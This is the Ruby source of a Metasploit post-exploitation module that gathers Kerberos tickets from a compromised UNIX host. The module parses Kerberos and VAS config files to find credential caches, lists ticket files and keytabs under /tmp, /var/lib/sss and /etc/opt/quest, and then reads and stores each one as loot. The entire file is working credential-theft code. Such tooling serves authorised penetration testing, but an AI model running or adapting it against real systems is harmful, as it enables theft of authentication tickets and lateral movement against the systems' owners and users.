Path: blob/master/modules/post/multi/gather/unix_kerberos_tickets.rb
33882 views
# Copyright (c) 2015-2018, Cisco International Ltd1#2# Redistribution and use in source and binary forms, with or without3# modification, are permitted provided that the following conditions are met:4# * Redistributions of source code must retain the above copyright5# notice, this list of conditions and the following disclaimer.6# * Redistributions in binary form must reproduce the above copyright7# notice, this list of conditions and the following disclaimer in the8# documentation and/or other materials provided with the distribution.9# * Neither the name of the Cisco International Ltd nor the10# names of its contributors may be used to endorse or promote products11# derived from this software without specific prior written permission.12#13# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND14# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED15# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE16# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY17# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES18# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;19# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND20# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT21# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS22# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.23##24# This module requires Metasploit: https://metasploit.com/download25# Current source: https://github.com/rapid7/metasploit-framework26##2728require 'shellwords'2930class MetasploitModule < Msf::Post31include Msf::Post::File32include Msf::Post::Unix33include Msf::Post::Common3435def initialize(info = {})36super(37update_info(38info,39'Name' => 'UNIX Gather Kerberos Tickets',40'Description' => %q{ Post Module to obtain all kerberos tickets on the targeted UNIX machine. },41'License' => MSF_LICENSE,42'Author' => [ 'Tim Brown <timb[at]nth-dimension.org.uk>'],43'Platform' => %w[linux osx unix solaris aix],44'SessionTypes' => [ 'meterpreter', 'shell' ],45'Notes' => {46'Stability' => [CRASH_SAFE],47'SideEffects' => [IOC_IN_LOGS],48'Reliability' => []49},50'References' => [51['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS],52['ATT&CK', Mitre::Attack::Technique::T1005_DATA_FROM_LOCAL_SYSTEM]53]54)55)56register_options([57OptString.new('KRB_CONFIG_FILE', [true, 'The Kerberos config file.', '/etc/krb5.conf']),58OptString.new('VAS_CONFIG_FILE', [true, 'The VASD config file.', '/etc/opt/quest/vas/vas.conf']),59])60end6162def run63print_status('Finding files')64files = [ '/etc/opt/quest/vas/host.keytab' ]65configs = [datastore['KRB_CONFIG_FILE'], datastore['VAS_CONFIG_FILE']]66configs.each do |config_file|67if file? config_file68config = read_file(config_file)69if /\n\s*default_ccache_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config || /\n\s*default_cc_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config70if /^FILE:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location71suffix = ''72elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location73suffix = '/*'74elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location75print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")76else77print_error("Unknown storage type: #{cache_location}")78end7980if file_pattern81print_status("Kerberos tickets configured to be stored at #{file_pattern}")82placeholder = 'MSF_INSERT_HERE'83# The krb5 pattern uses %{uid} as a wildcard. This is misinterpreted by Rubocop as a format string token84# rubocop: disable Style/FormatStringToken85file_pattern['%{uid}'] = placeholder86# rubocop: enable Style/FormatStringToken87# Need to do this two-step thing so Shellwords.escape doesn't escape the asterisk88file_pattern = Shellwords.escape(file_pattern)89file_pattern[placeholder] = '*'90files += cmd_exec("ls #{file_pattern}#{suffix}").split(/\r\n|\r|\n/)91end92end93else94vprint_warning("Could not find #{config_file}")95end96end97files += cmd_exec('ls /var/lib/sss/db/ccache_*').split(/\r\n|\r|\n/)98# Even though our config check should preclude this, it is a default location, so checking it may find something99files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)100files = files.uniq101files = files.select { |d| file?(d) }102if files.nil? || files.empty?103print_error('No kerberos tickets found')104return105end106download_loot(files)107end108109def download_loot(files)110print_status("Looting #{files.count} files")111files.each do |file|112file.chomp!113sep = '/'114print_status("Downloading #{file}")115data = read_file(file)116file = file.split(sep).last117loot_file = store_loot('unix_kerberos_tickets', 'application/octet-stream', session, data, "unix_kerberos_tickets_#{file}", 'Kerberos Tickets File')118print_good("File stored in: #{loot_file}")119end120end121end122123124